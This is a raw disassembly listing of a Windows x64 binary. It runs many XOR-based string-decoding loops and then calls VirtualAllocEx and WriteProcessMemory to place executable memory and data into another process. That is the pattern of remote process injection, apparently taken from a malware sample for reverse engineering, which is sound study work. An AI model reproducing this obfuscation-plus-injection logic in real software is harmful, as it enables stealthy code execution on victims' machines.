nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000b9f0
mov rcx, r10
jmp 0x14000cbc6
mov byte [rbp - 0x2d], 0
lea rdx, [rbp + 0x358]
lea rcx, [rbp - 0x2d]
call fcn.1400245c0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000ba67
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1980]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1980]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1980]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000bffb
mov byte [rbp - 0x2c], 0
lea rdx, [rbp + 0xfb8]
lea rcx, [rbp - 0x2c]
call fcn.140024ce0
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x14000bbd1
mov r8d, edi
cmp esi, 2
jl 0x14000bb8d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000bba0
mov byte [rbp - 0x2b], 0
lea rdx, [rbp + 0xaa8]
lea rcx, [rbp - 0x2b]
call fcn.140024b10
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000bd01
mov r8d, edi
cmp esi, 2
jl 0x14000bcbc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000bcd0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x2a], 0
lea rdx, [rbp + 0xab8]
lea rcx, [rbp - 0x2a]
call fcn.140024940
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000be40
mov r8d, edi
cmp esi, 2
jl 0x14000be07
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000be10
mov byte [rbp - 0x29], 0
lea rdx, [rbp + 0xfc8]
lea rcx, [rbp - 0x29]
call fcn.140024770
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000bf80
mov r8d, edi
cmp esi, 2
jl 0x14000bf3c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000bf50
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x28], 0
lea rdx, [rbp + 0x6f8]
lea rcx, [rbp - 0x28]
call fcn.1400246d0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000bfe2
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x27], 0
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp - 0x27]
call fcn.140024640
jmp 0x14000cb95
mov byte [rbp - 0x26], 0
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x26]
call fcn.140024eb0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000c039
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x19a0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x19a0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x19a0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000c6e9
mov byte [rbp - 0x25], 0
lea rdx, [rbp + 0xd4]
lea rcx, [rbp - 0x25]
call fcn.140025840
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000c09c
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp - 0x24], 0
lea rdx, [rbp + 0x248]
lea rcx, [rbp - 0x24]
call fcn.140025690
mov r10, rax
cmp byte [rax + 7], 0
je 0x14000c1c1
cmp esi, 2
jl 0x14000c180
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x14000c1c1
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000c190
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x23], 0
lea rdx, [rbp + 0xac8]
lea rcx, [rbp - 0x23]
call fcn.1400254c0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000c300
mov r8d, edi
cmp esi, 2
jl 0x14000c2c7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000c2d0
mov byte [rbp - 0x22], 0
lea rdx, [rbp + 0xfd8]
lea rcx, [rbp - 0x22]
call fcn.1400252f0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000c440
mov r8d, edi
cmp esi, 2
jl 0x14000c3fc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000c410
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x21], 0
lea rdx, [rbp + 0x1348]
lea rcx, [rbp - 0x21]
call fcn.140025100
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x14000c5b1
cmp esi, 2
jl 0x14000c56f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000c490
jmp 0x14000c5b1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000c580
mov byte [rbp - 0x20], 0
lea rdx, [rbp + 0xad8]
lea rcx, [rbp - 0x20]
call fcn.140024f30
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000ba21
mov r8d, edi
cmp esi, 2
jl 0x14000c69c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000c6b0
mov rcx, r10
jmp 0x14000cbc6
mov byte [rbp - 0x1f], 0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x1f]
call fcn.1400258c0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000c71b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x19c0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x19c0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x19c0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000cbd9
mov byte [rbp - 0x1e], 0
lea rdx, [rbp + 0x708]
lea rcx, [rbp - 0x1e]
call fcn.140025fc0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14000c79e
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp - 0x1d], 0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp - 0x1d]
call fcn.140025f40
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14000c7c4
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x1c], 0
lea rdx, [rbp + 0xae8]
lea rcx, [rbp - 0x1c]
call fcn.140025d70
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000c900
mov r8d, edi
cmp esi, 2
jl 0x14000c8ca
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000c8d0
mov byte [rbp - 0x1b], 0
lea rdx, [rbp + 0xfe8]
lea rcx, [rbp - 0x1b]
call fcn.140025ba0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000ca40
mov r8d, edi
cmp esi, 2
jl 0x14000c9fc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000ca10
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x1a], 0
lea rdx, [rbp + 0xaf8]
lea rcx, [rbp - 0x1a]
call fcn.1400259d0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000cb81
mov r8d, edi
cmp esi, 2
jl 0x14000cb44
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000cb50
mov byte [rbp - 0x19], 0
lea rdx, [rbp + 0x508]
lea rcx, [rbp - 0x19]
call fcn.140025940
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000cbc3
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x40
mov r15, qword [rbp + 0x208]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov qword [rbp + 0x250], rax
test rax, rax
je 0x140017f57
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp + 0x1ce0]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140017f36
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov qword [rbp + 0x258], rax
test rax, rax
je 0x140017f2f
mov byte [rbp - 0x18], 0
lea rdx, [rbp + 0x1cc]
lea rcx, [rbp - 0x18]
call fcn.140026060
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14000cca0
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x19e0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x19e0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x19e0]
call fcn.1400b3040
cmp ebx, 8
jne 0x14000d399
mov byte [rbp - 0x17], 0
lea rdx, [rbp + 0x1600]
lea rcx, [rbp - 0x17]
call fcn.140026920
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x14000ce31
mov r8d, edi
cmp esi, 2
jl 0x14000cdf7
mov rcx, rax
